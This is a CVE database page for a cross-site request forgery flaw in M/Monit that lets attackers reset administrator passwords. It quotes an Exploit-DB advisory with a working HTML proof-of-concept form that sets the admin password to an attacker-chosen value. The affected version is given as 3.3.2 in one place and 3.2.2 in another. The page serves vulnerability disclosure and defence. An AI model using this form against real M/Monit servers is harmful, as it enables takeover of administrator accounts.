CVE-2014-6409
Description
Cross-site request forgery (CSRF) vulnerability in M/Monit 3.3.2 and earlier allows remote attackers to hijack the authentication of administrators for requests that change user passwords via the fullname and password parameters to /admin/users/update.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
M/Monit 3.3.2 - Cross-Site Request Forgery
Vulnerability title: M/Monit CSRF Author: Dolev Farhi Contact: dolevf at
openflare dot com @dolevff Application: M/Monit 3.2.2 Date: 13.9.2014
Relevant CVEs: N/A Vulnerable version: <= 3.2.2 Fixed version: N/A 1.
About the application ------------------------ Easy, proactive
monitoring of Unix systems, network and cloud services. Conduct
automatic maintenance and recovery and execute meaningful causal actions
in error situations M/Monit expand on Monit's capabilities and provides
monitoring and management of all your Monit enabled hosts via a modern,
clean and well designed user interface which also works on mobile
devices. 2. Vulnerabilities Descriptions: -----------------------------
It was found that M/Monit latest version is vulnerable to CSRF attacks.
it is possible to reset the password of any user account (admin/regular)
on the system without needing to know the current set password for the
attacked account. 3. Proof of concept exploit
---------------------------- <html> <! -- CSRF PoC for M/Monit --> <div
align="center"> <pre> <h2><b> CSRF PoC for M/monit <b></h2> <body>
<form action="http://mmonit_server:8080/admin/users/update"
method="POST"> <input type="hidden" name="fullname"
value="Administrator" /> <input type="hidden" name="password"
value="Attacker_Passw0rd" /> <input type="hidden" name="email"
value="attacker@email.com" /> <input type="hidden" name="admin"
value="on" /> <input type="hidden" name="uname" value="admin" /> <input
type="submit" name="submit" value="Attack" /> </form> </body> </div>
</html>Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| mmonit | m\/monit | {"endIncluding":"3.3.2"} | |
References
- http://packetstormsecurity.com/files/128321/M-Monit-3.2.2-Cross-Site-Request-Forgery.html
- http://seclists.org/fulldisclosure/2014/Sep/71
- http://www.exploit-db.com/exploits/34718
- https://exchange.xforce.ibmcloud.com/vulnerabilities/96122
- http://packetstormsecurity.com/files/128321/M-Monit-3.2.2-Cross-Site-Request-Forgery.html
- http://seclists.org/fulldisclosure/2014/Sep/71
- http://www.exploit-db.com/exploits/34718
- https://exchange.xforce.ibmcloud.com/vulnerabilities/96122
CWEs
CWE-352
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.